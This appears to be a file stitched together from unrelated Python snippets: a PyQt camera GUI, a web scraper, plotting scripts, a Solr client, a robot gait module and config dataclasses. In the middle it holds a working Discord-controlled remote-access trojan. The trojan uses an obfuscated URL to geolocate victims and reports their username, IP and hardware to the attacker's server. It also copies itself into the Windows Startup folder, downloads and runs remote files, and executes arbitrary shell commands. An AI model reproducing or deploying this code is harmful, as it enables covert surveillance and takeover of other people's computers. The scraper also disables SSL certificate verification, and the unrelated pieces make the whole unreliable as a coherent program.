        self.controlLayout.setLayout(parentLayout)

    def toggleCameraFeed(self, status, feed):
        """
        PURPOSE

        Emits signal to main program to enable/disable a camera feed.

        INPUT

        - status = state of the button.
        - feed = the camera feed to toggle (1,2,3,4).

        RETURNS

        NONE
        """
        self.feedStatus[feed] = status
        self.cameraEnableSignal.emit(status, feed)

    def toggleAllFeeds(self, feedStatus):
        """
        PURPOSE

        Enables/disables all camera feeds when the user switches between control panel and configutaion tab.

        INPUT

        - state = True to turn on, False to turn off.

        RETURNS

        NONE
        """
        # DISABLE ALL FEEDS
        if feedStatus == False:
            for i, state in enumerate(self.feedStatus):
                self.cameraEnableSignal.emit(False, i)

        # ENABLE FEEDS THAT WERE PREVIOUSLY ENABLED
        if feedStatus == True:
            for i, state in enumerate(self.feedStatus):
                self.cameraEnableSignal.emit(state, i)

    def changeResolution(self, menuIndex, feed):
        """
        PURPOSE

        User selects camera feed display resolution from drop down menu.

        INPUT

        - menuIndex = the index of the menu item selected.
        - feed = the camera feed being modified.

        RETURNS

        NONE
        """
        self.selectedResolutions[feed] = menuIndex
        width = self.resolutions[menuIndex][0]
        height = self.resolutions[menuIndex][1]

        self.cameraResolutionSignal.emit(feed, width, height)

    def updateResolutionMenus(self):
        """
        PURPOSE

        Updates the resolutions menus with the correct indices.

        INPUT

        NONE

        RETURNS

        NONE
        """
        for i, menu in enumerate(self.resolutionMenus):
            menu.setCurrentIndex(self.selectedResolutions[i])

    def changeSelectedCameras(self, index, camera):
        """
        PURPOSE

        Changes the current camera feed to display.

        INPUT

        - index = menu index of the camera selected.
        - camera = the camera feed being modified.

        RETURNS

        NONE
        """
        self.selectedCameras[camera] = index

    def updateSelectedMenus(self):
        """
        PURPOSE

        Refreshes the selected digital camera menus.

        INPUT

        NONE

        RETURNS

        NONE
        """
        # UPDATE MAIN PROGRAM
        self.cameraEditSignal.emit()

    #########################
    ### CONFIGURATION TAB ###
    #########################
    def setupConfigLayout(self):
        """
        PURPOSE

        Builts a layout on the configuration tab to add widgets to.

        INPUT

        NONE

        RETURNS

        NONE
        """
        parentLayout = QVBoxLayout()

        # WIDGETS TO CHANGE CAMERA SETTINGS
        settingsLayout = QFormLayout()
        self.cameraNumber = QSpinBox()
        self.cameraNumber.setMaximum(10)
        settingsLayout.addRow(QLabel("Quantity"), self.cameraNumber)

        # DEFAULT CAMERA FEED MENUS
        for i in range(self.feedQuantity):
            label = QLabel("Default Feed {}".format(i))
            defaultMenu = QComboBox()
            self.defaultMenus.append(defaultMenu)
            defaultMenu.activated.connect(lambda index, camera = i: self.changeDefaultCameras(index, camera))
            settingsLayout.addRow(label, defaultMenu)

        # LAYOUT TO SHOW CAMERA SETTINGS
        self.configForm = QFormLayout()

        # SPACER TO PUSH ALL WIDGETS UP
        spacer = QSpacerItem(20, 40, QSizePolicy.Expanding, QSizePolicy.Expanding)

        # ADD CHILDREN TO PARENT LAYOUT
        parentLayout.addLayout(settingsLayout)
        parentLayout.addLayout(self.configForm)
        parentLayout.addItem(spacer)

        # LINK WIDGETS
        self.cameraNumber.editingFinished.connect(self.changeCamerasNumber)

        # ADD TO GUI
        self.configLayout.setLayout(parentLayout)

    def changeCamerasNumber(self):
        """
        PURPOSE

        Sets the number of digital cameras based on the user entered value in the configuration tab.

        INPUT

        NONE

        RETURNS

        NONE
        """
        newNumber = self.cameraNumber.value()
        oldNumber = self.configForm.rowCount()

        self.quantity = newNumber

        delta = newNumber - oldNumber

        # ADD CAMERA
        if delta > 0:
            for i in range(delta):
                self.addCamera()

        # REMOVE CAMERA
        if delta < 0:
            for i in range(-delta):
                self.removeCamera()

    def addConfigCamera(self):
        """
        PURPOSE

        Adds a single digital camera to the configuration tab.

        INPUT

        NONE

        RETURNS

        NONE
        """
        # THE INDEX OF THE NEXT CAMERA
        nextCamera = self.configForm.rowCount()

        # GET LABEL AND ADDRESS FROM CONFIG FILE
        try:
            label = self.labelList[nextCamera]
            address = self.addressList[nextCamera]

        # OTHERWISE, SET DEFAULT LABEL AND ADDRESS
        except:
            label = "Camera {}".format(nextCamera + 1)
            self.labelList.append(label)

            address = ""
            self.addressList.append(address)

        # CREATE WIDGETS TO CHANGE CAMERA LABEL AND ADDRESS
        cameraNumber = QLabel("Camera {}".format(nextCamera + 1))
        cameraLabel = QLineEdit(label)
        label1 = QLabel("Name")
        cameraAddress = QLineEdit(address)
        label2 = QLabel("Address")

        # PLACE WIDGETS INSIDE LAYOUT
        layout1 = QVBoxLayout()
        layout1.addWidget(cameraNumber)
        layout2 = QFormLayout()
        layout2.addRow(label1, cameraLabel)
        layout2.addRow(label2, cameraAddress)

        # ADD LAYOUTS TO FRAMES (TO ALLOW STYLING)
        frame1 = QFrame()
        frame1.setObjectName("digital-camera-frame")
        frame1.setLayout(layout1)
        frame2 = QFrame()
        frame2.setObjectName("settings-frame")
        frame2.setLayout(layout2)

        # ADD TO CONFIGURATION TAB
        self.configForm.addRow(frame1, frame2)

        # UPDATE MENUS
        self.updateDefaultMenus()
        self.updateSelectedMenus()

        # LINK WIDGETS
        cameraLabel.textEdited.connect(lambda text, camera = nextCamera: self.changeCameraName(text, camera))
        cameraAddress.editingFinished.connect(lambda lineEditObject = cameraAddress, camera = nextCamera: self.changeCameraAddress(lineEditObject, camera))

    def removeConfigCamera(self):
        """
        PURPOSE

        Removes a single digital camera from the configuration tab.

        INPUT

        NONE

        RETURNS

        NONE
        """
        # REMOVE CAMERA FROM CONFIG TAB
        cameraNumber = self.configForm.rowCount() - 1
        self.configForm.removeRow(cameraNumber)

        # REMOVE CAMERA DATA
        del self.labelList[cameraNumber]
        del self.addressList[cameraNumber]

        # UPDATE MENUS
        self.updateDefaultMenus()
        self.updateSelectedMenus()

    def changeDefaultCameras(self, index, camera):
        """
        PURPOSE

        Changes the default cameras to be displayed on each digital camera feed.

        INPUT

        - index = menu index selected.
        - camera = the camera feed being modified (0,1,2).

        RETURN

        NONE
        """
        self.defaultCameras[camera] = index

        # CHECK FOR DUPLICATES
        for i, cameraFeed in enumerate(self.defaultCameras):
            if cameraFeed == index and i != camera:
                self.defaultCameras[i] = 0
                self.updateDefaultMenus()

    def changeCameraName(self, text, camera):
        """
        PURPOSE

        Changes the label of a digital camera.

        INPUT

        - text = the new label.
        - camera = the camera the label belong to.

        RETURNS

        NONE
        """
        self.labelList[camera] = text

        # UPDATE MENUS
        self.updateDefaultMenus()
        self.updateSelectedMenus()

    def changeCameraAddress(self, lineEditObject, camera):
        """
        PURPOSE

        Change the source address for a camera feed.

        INPUT

        - lineEditObject = pointer to the line edit widget.
        - camera = the camera which is having its address is being changed.

        RETURNS

        NONE
        """
        address = lineEditObject.text()

        if address == None:
            address = ""

        for index, item in enumerate(self.addressList):
            if item == address:
                self.addressList[index] = ""

        self.addressList[camera] = address

        self.updateAddressLabels()

        # APPLY ADDRESS CHANGE
        self.setCameraAddresses()

    def updateAddressLabels(self):
        """
        PURPOSE

        Updates the digital camera label text fields.

        INPUT

        NONE

        OUTPUT

        NONE
        """
        quantity = self.configForm.rowCount()

        for i in range(quantity):
            layout = self.configForm.itemAt((i * 2) + 1).widget()
            layout = layout.layout()
            widget = layout.itemAt(3).widget()
            widget.setText(self.addressList[i])

    def updateDefaultMenus(self):
        """
        PURPOSE

        Refreshes the default digital camera menus.

        INPUT

        NONE

        RETURNS

        NONE
        """
        for i, menu in enumerate(self.defaultMenus):
            menu.clear()
            menu.addItem("None")
            menu.addItems(self.labelList)
            menu.setCurrentIndex(self.defaultCameras[i])


import urllib.request
from bs4 import BeautifulSoup

#ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

#something = input("Press enter -")
html = urllib.request.urlopen("http://www.dr-chuck.com/page1.htm")
soup = BeautifulSoup(html, 'html.parser')

tags = soup('a')
for tag in tags:
    print(tag.get('href', None))


import numpy as np
import seaborn
from pandas import read_csv
from pandas.plotting import register_matplotlib_converters
from matplotlib.pyplot import subplots, savefig, show
from ds_charts import get_variable_types, HEIGHT

register_matplotlib_converters()
filename = '../../data/air_quality_tabular.csv'
data = read_csv(filename, index_col='FID', parse_dates=True, infer_datetime_format=True)
data.pop('GbCity')
data.pop('GbProv')
data.pop('Field_1')
numeric_vars = get_variable_types(data)['Numeric']
numeric_vars.append('ALARM')
if [] == numeric_vars:
    raise ValueError('There are no numeric variables.')

rows, cols = len(numeric_vars) - 1, len(numeric_vars) - 1
fig, axs = subplots(rows, cols, figsize=(cols * HEIGHT, rows * HEIGHT), squeeze=False)

colors = np.where(data["ALARM"] == "Safe", 'g', 'r')

for i in range(len(numeric_vars)):
    var1 = numeric_vars[i]
    for j in range(i + 1, len(numeric_vars)):
        var2 = numeric_vars[j]
        axs[i, j - 1].set_title("%s x %s" % (var1, var2))
        axs[i, j - 1].set_xlabel(var1)
        axs[i, j - 1].set_ylabel(var2)
        #axs[i, j - 1].scatter(data[var1], data[var2], c=colors, cmap='winter')
        seaborn.stripplot(y=data[var1].astype(str), x=data[var2].astype(str), jitter=0.35, edgecolor='gray', alpha=.25,
                          ax=axs[i, j - 1], palette=colors)
print("Saving figure")
savefig(f'../DataSparsity_Set2/images/sparsity_study_numeric_better.png')
# show()
print("Done")


import json
from django.conf import settings
from django.http import QueryDict
import requests

def get(id, params):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["id"] = id
    return requests.get(settings.SOLR_API_URL +
                 "collection1/get?" + _dict_to_querystring(params)).json()

def update(data, params = None):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["commit"] = "true"
    return requests.post(settings.SOLR_API_URL + "collection1/update?" + _dict_to_querystring(params),
                  data=json.dumps(data),
                  headers = {'content-type': 'application/json'}).json()

def delete(id, params = None):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["commit"] = "true"
    return requests.post(settings.SOLR_API_URL + "collection1/update?" + _dict_to_querystring(params),
                         data=json.dumps([{"delete":{"id":id}}]),
                         headers = {'content-type': 'application/json'}).json()

def query(q, params):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["q"] = q
    return requests.get(settings.SOLR_API_URL + "collection1/select?" + _dict_to_querystring(params)).json()

def extract(params, file):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["commit"] = "true"
    return requests.post(settings.SOLR_API_URL +
                                   "update/extract?" + _dict_to_querystring(params),
                                   files = {file.name : file}).json()

def deleteAll():
    requests.get(settings.SOLR_API_URL + "update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E&commit=true")

def _dict_to_querystring(d):
    params = QueryDict("", mutable=True)
    if d is not None:
        for (k, v) in d.items():
            params.setlist(k, v if isinstance(v, list) else [v])
    return params.urlencode()


"""A dummy gait generator module for storing gait patterns from higher-level controller."""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import copy
from typing import Any, Sequence

import gin

from pybullet_envs.minitaur.agents.baseline_controller import gait_generator

LAIKAGO_STANDING = (
    gait_generator.LegState.STANCE,
    gait_generator.LegState.STANCE,
    gait_generator.LegState.STANCE,
    gait_generator.LegState.STANCE,
)

@gin.configurable
class DummyGaitGenerator(gait_generator.GaitGenerator):
  """A module for storing quadruped gait patterns from high-level controller.

  This module stores the state for each leg of a quadruped robot. The data is
  used by the stance leg controller to determine the appropriate contact forces.
  A high-level controller, such as a neural network policy, can be used to
  control the gait pattern and set corresponding leg states.
  """

  def __init__(
      self,
      robot: Any,
      initial_leg_state: Sequence[gait_generator.LegState] = LAIKAGO_STANDING,
  ):
    """Initializes the class.

    Args:
      robot: A quadruped robot.
      initial_leg_state: The desired initial swing/stance state of legs indexed
        by their id.
    """
    self._robot = robot
    if len(initial_leg_state) != len(
        list(self._robot.urdf_loader.get_end_effector_id_dict().values())):
      raise ValueError(
          "The number of leg states should be the same of number of legs.")
    self._initial_leg_state = initial_leg_state
    self._leg_state = list(initial_leg_state)
    self._desired_leg_state = list(initial_leg_state)

    self.reset(0)

  def reset(self, current_time):
    del current_time
    self._leg_state = list(self._initial_leg_state)
    self._desired_leg_state = list(self._initial_leg_state)

  @property
  def desired_leg_state(self) -> Sequence[gait_generator.LegState]:
    """The desired leg SWING/STANCE states.

    Returns:
      The SWING/STANCE states for all legs.

    """
    return self._desired_leg_state

  @desired_leg_state.setter
  def desired_leg_state(self, state):
    self._desired_leg_state = copy.deepcopy(state)

  @property
  def leg_state(self) -> Sequence[gait_generator.LegState]:
    """The leg state after considering contact with ground.

    Returns:
      The actual state of each leg after accounting for contacts.
    """
    return self._leg_state

  @leg_state.setter
  def leg_state(self, state):
    self._leg_state = copy.deepcopy(state)


from dataclasses import dataclass

@dataclass
class StackBackendProperties:
    hostname: str
    organization: str
    workspace: str

    def __init__(self, hostname: str = 'app.terraform.io',
                 organization: str = 'danielcg',
                 workspace: str = 'bootstrap'):
        self.hostname = hostname
        self.organization = organization
        self.workspace = workspace

@dataclass
class StackVpcProperties:
    region: str
    cidr: str
    private_subnets: list
    public_subnets: list
    az_suffix: list

    def __defaults(self, az_suffix, private_subnets, public_subnets):
        if az_suffix is None:
            self.az_suffix = ['a', 'b', 'c']

        if private_subnets is None:
            self.private_subnets = ['10.0.1.0/24', '10.0.2.0/24', '10.0.3.0/24']

    def __init__(self, region: str = 'us-east-2', az_suffix=None, cidr: str = '10.0.0.0/16', private_subnets=None,
                 public_subnets=None):
        self.__defaults(self, az_suffix, private_subnets)
        self.region = region
        self.cidr = cidr


import discord
from discord.ext import commands
import urllib.request
import json
import os
import socket
import platform
import tempfile
import random
import uuid
import shutil, sys, ctypes, threading
import win32api, win32con
import win32gui, subprocess
import time

server_id = 123456789
token = "TOKEN HERE"

def globalInfo():

    url = 'nosj/oi.ofnipi//:sptth'
    response = urllib.request.urlopen(url[::-1])
    data = json.loads(response.read().decode())
    ip = data['ip']
    loc = data['loc']
    location = loc.split(',')
    latitude = location[0]
    longitude = location[1]
    username = os.getlogin()
    country = data['country']
    country_code = data['country'].lower()
    region = data['region']
    city = data['city']
    postal = data['postal']
    computer_name = socket.gethostname()
    cores = os.cpu_count()
    gpu = ''
    if platform.system() == 'Linux':
        gpu_info = os.popen('lspci | grep -i nvidia').read().strip()
        if gpu_info:
            gpu = os.popen("nvidia-smi --query-gpu=gpu_name --format=csv,noheader").read()

    globalinfo = f":flag_{country_code}: - `{username.upper()} | {ip} ({country}, {city})`\nMore Information ðŸ‘€ : \n :flag_{country_code}: - `({region}) ({postal})` \n ðŸ’» PC Information : \n`{computer_name}`\n Cores: `{cores}` \nGPU : `{gpu}` \nLatitude + Longitude  : {latitude}, {longitude}\n "
    return globalinfo

intents = discord.Intents.all()
bot = commands.Bot(command_prefix="!", intents=intents)
bot.remove_command('help')

computer_ids = {}

def generate_computer_id():
    return str(uuid.uuid4())

def add_to_startup(program_path):
    startup_folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')

    try:
        script_name = os.path.basename(program_path)
        destination_path = os.path.join(startup_folder, script_name)

        if not os.path.exists(destination_path):
            shutil.copyfile(program_path, destination_path)
        else:
            pass
    except Exception as e:
        pass

@bot.event
async def on_ready():
    await bot.tree.sync()
    computer_name = socket.gethostname()

    computer_id = generate_computer_id()
    computer_ids[computer_id] = bot

    server = bot.get_guild(server_id)
    channel_name = computer_name

    existing_channel = discord.utils.get(server.text_channels, name=channel_name)
    if not existing_channel:
        try:
            data = globalInfo()
        except:
            data = 'Could not get any information about the user'
        new_channel = await server.create_text_channel(channel_name)

        embed = discord.Embed(title="Someone launched it =) ")
        embed.add_field(name=f"Computer information\nComputer unique id \n`{computer_id}`\n", value=data)

        await new_channel.send(content="@everyone", embed=embed)

google_user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'

@bot.tree.command(description="Will put the program into startup folder")
async def startup(interaction: discord.Interaction, computer_id: str):
    program_path = sys.argv[0]
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]
        try:
            add_to_startup(program_path)
            await interaction.response.send_message('Added to startup successfully')

        except:
            await interaction.response.send_message('Error while trying to add to startup')

@bot.tree.command(description="You will be able to upload a file, YOU MUST USE A DIRECT DOWNLOAD LINK")
async def download(interaction: discord.Interaction, computer_id: str, url: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        headers = {'User-Agent': google_user_agent}
        request = urllib.request.Request(url, headers=headers)

        try:
            with urllib.request.urlopen(request) as response:
                content = response.read()

            file_extension = url.split('.')[-1]

            random_filename = f"{random.randint(1000, 9999)}.{file_extension}"
            temp_folder = os.path.join(os.path.expanduser("~"), 'AppData', 'Local', 'Temp')

            if not os.path.exists(temp_folder):
                os.makedirs(temp_folder)

            full_path = os.path.join(temp_folder, random_filename)

            if os.path.exists(full_path):
                await interaction.response.send_message("A file with the same name already exists in the temp folder.")
            else:
                with open(full_path, 'wb') as file:
                    file.write(content)

                await interaction.response.send_message(f"{random_filename} has been downloaded with Google User-Agent and saved to the temp folder.")

        except urllib.error.URLError as e:
            await interaction.response.send_message(f"Error: {e.reason}")

    else:
        await interaction.response.send_message("Invalid computer ID. Please provide a valid computer ID.")

@bot.tree.command(description="Will start an file that can be added with /download command")
async def startfile(interaction: discord.Interaction, computer_id: str, file_id: str, file_extension: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        temp_folder = os.path.join(os.path.expanduser("~"), 'AppData', 'Local', 'Temp')

        full_path = os.path.join(temp_folder, f"{file_id}.{file_extension}")

        try:
            if os.path.exists(full_path):
                import subprocess
                subprocess.Popen([full_path], shell=True)

                await interaction.response.send_message(f"Started file {file_id}.{file_extension}")
            else:
                await interaction.response.send_message("File not found in the temp folder.")

        except Exception as e:
            await interaction.response.send_message(f"Error: {str(e)}")

    else:
        await interaction.response.send_message("Invalid computer ID. Please provide a valid computer ID.")

@bot.tree.command(description='Send a message to the infected computer')
async def message(interaction: discord.Interaction, computer_id: str, message_title: str, message_text:str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]
        try:
            await interaction.response.send_message("Successfully sended.")

            win32api.MessageBox(0, message_text, message_title, win32con.MB_ICONWARNING)
        except:
            await interaction.response.send_message("Error while trying to send the message box")
    else:
        await interaction.response.send_message("Invalid computer ID. Please provide a valid computer ID.")

@bot.tree.command(description='Execute a command prompt command (DO NOT USE TASKLIST)')
async def execute_command(interaction:discord.Interaction, computer_id: str, *, command: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        import subprocess
        try:
            result = subprocess.run(command, shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            response_message = f"Command '{command}' executed on computer {computer_id}\n\n"
            response_message += "Command Output:\n"
            response_message += result.stdout

            if result.stderr:
                response_message += "\nCommand Error:\n"
                response_message += result.stderr

            await interaction.response.send_message(response_message)
        except Exception as e:
            await interaction.response.send_message(f"Error executing the command: {str(e)}")
    else:
        await interaction.response.send_message(f"Computer ID '{computer_id}' not found.")

@bot.tree.command(description='Get a list of running processes')
async def list_processes(interaction: discord.Interaction, computer_id: str):
    if computer_id in computer_ids:
        bot_instance = computer_ids[computer_id]

        response_message = f"**Here are all the running processes in {computer_id}:**\n\n"

        try:
            result = subprocess.run('tasklist /fo table /nh | FOR /F "tokens=1" %i IN (\'more\') DO @echo %i', shell=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            process_list = result.stdout.splitlines()
            unique_process_list = list(set(process_list))
            response_message += "\n".join(unique_process_list)

            if result.stderr:
                response_message += "\nCommand Error:\n"
                response_message += result.stderr

            if len(response_message) <= 1998:
                await interaction.response.send_message(response_message)
            else:
                await interaction.response.send_message("The list of processes is too long to display.")
        except Exception as e:
            await interaction.response.send_message(f"Error executing the command: {str(e)}")

    else:
        await interaction.response.send_message(f"Computer ID '{computer_id}' not found.")

bot.run(token)


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn import preprocessing
import seaborn as sns

def viz(df, scaled_df1, scaled_df2, scaled_df3):
    fig, (ax1, ax2, ax3, ax4) = plt.subplots(ncols=4, figsize=(12, 5))

    ax1.set_title('Before Scaling')
    sns.kdeplot(df['x1'], ax=ax1)
    sns.kdeplot(df['x2'], ax=ax1)
    sns.kdeplot(df['x3'], ax=ax1)

    ax2.set_title('After Standard Scaler')
    sns.kdeplot(scaled_df1['x1'], ax=ax2)
    sns.kdeplot(scaled_df1['x2'], ax=ax2)
    sns.kdeplot(scaled_df1['x3'], ax=ax2)

    ax3.set_title('After Min-Max Scaler')
    sns.kdeplot(scaled_df2['x1'], ax=ax3)
    sns.kdeplot(scaled_df2['x2'], ax=ax3)
    sns.kdeplot(scaled_df2['x3'], ax=ax3)

    ax4.set_title('After Robust Scaler')
    sns.kdeplot(scaled_df3['x1'], ax=ax4)
    sns.kdeplot(scaled_df3['x2'], ax=ax4)
    sns.kdeplot(scaled_df3['x3'], ax=ax4)

    plt.show()

def get_guassian_data():
    return pd.DataFrame({
            'x1': np.random.normal(0, 2, 10000),
            'x2': np.random.normal(5, 3, 10000),
            'x3': np.random.normal(-5, 5, 10000)
            })

def get_mixed_data1():
    return pd.DataFrame({
            # positive skew
            'x1': np.random.chisquare(8, 1000),
            # negative skew
            'x2': np.random.beta(8, 2, 1000) * 40,
            # no skew
            'x3': np.random.normal(50, 3, 1000)
            })

def get_mixed_data2():
    return pd.DataFrame({
            # Distribution with lower outliers
            'x1': np.concatenate([np.random.normal(20, 1, 1000), np.random.normal(1, 1, 25)]),
            # Distribution with higher outliers
            'x2': np.concatenate([np.random.normal(30, 1, 1000), np.random.normal(50, 1, 25)]),
             # Distribution with no outliers
            'x3': np.concatenate([np.random.normal(20, 1, 1000), np.random.normal(20, 1, 25)]),
            })

def get_transformed_data(df):
    scaler1 = preprocessing.StandardScaler()
    scaled_df1 = scaler1.fit_transform(df)
    scaled_df1 = pd.DataFrame(scaled_df1, columns=['x1', 'x2', 'x3'])

    scaler2 = preprocessing.MinMaxScaler()
    scaled_df2 = scaler2.fit_transform(df)
    scaled_df2 = pd.DataFrame(scaled_df2, columns=['x1', 'x2', 'x3'])

    scaler3 = preprocessing.RobustScaler()
    scaled_df3 = scaler3.fit_transform(df)
    scaled_df3 = pd.DataFrame(scaled_df3, columns=['x1', 'x2', 'x3'])

    return scaled_df1, scaled_df2, scaled_df3

np.random.seed(1)

df = get_guassian_data()
scaled_df1, scaled_df2, scaled_df3 = get_transformed_data(df)
viz(df, scaled_df1, scaled_df2, scaled_df3)

df = get_mixed_data1()
scaled_df1, scaled_df2, scaled_df3 = get_transformed_data(df)
viz(df, scaled_df1, scaled_df2, scaled_df3)

df = get_mixed_data2()
scaled_df1, scaled_df2, scaled_df3 = get_transformed_data(df)
viz(df, scaled_df1, scaled_df2, scaled_df3)